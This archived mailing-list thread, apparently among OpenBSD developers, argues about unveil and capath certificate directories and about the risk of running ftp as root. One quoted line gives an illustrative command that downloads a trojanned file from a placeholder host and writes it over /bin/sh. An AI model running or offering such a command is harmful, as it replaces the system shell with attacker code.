Kevin Chadwick <m8il1ists@gmail.com> wrote:
> On 2020-06-01 11:20, Stuart Henderson wrote:
> > We went through this earlier when unveil was added to nc. The way capath
> > directories are often populated in the real world is not compatible with
> > unveil, you would need to resolve all files in capath, recursively resolve
> > symlinks, and add the chain of symlinks to the list of files to unveil.
> > Or remove capath support, or don't bother with unveil.
> >
>
> I wonder, if 99% of users just use /etc/ssl/cert.pem? whether a flag that
> breaks/enables other use cases (removes capath support at runtime), might work?
I guess you don't understand unveil. You didn't understand what Stuart
just said *at all*.
> >> I'd love to make it as safe to run as root as it is running it as an
> >> unprivileged chrooted user! And I love C!
>
> > It *cannot* be as safe to run as root as it is running it as an unprivileged
> > chrooted user. ftp -o /bin/sh http://dodgy.server/trojanned-sh
> >
> >
>
> This "safe to run as root" sounds a lot like the talk around a subtler issue
> that I used to see often on the hardened-gentoo list.
>
> In that they would say root doesn't exist with RBAC (meaning not necessary).
> Whilst the more complex and so potentially buggy RBAC systems should IMO be
> added layers. You shouldn't disable/ignore the simpler, tried and tested DAC
> systems, because of something new and shiny.
Sounds completely unrelated.
Let's cut this short -- if you don't know what you are talking about
just don't comment, ok?
No comments:
Post a Comment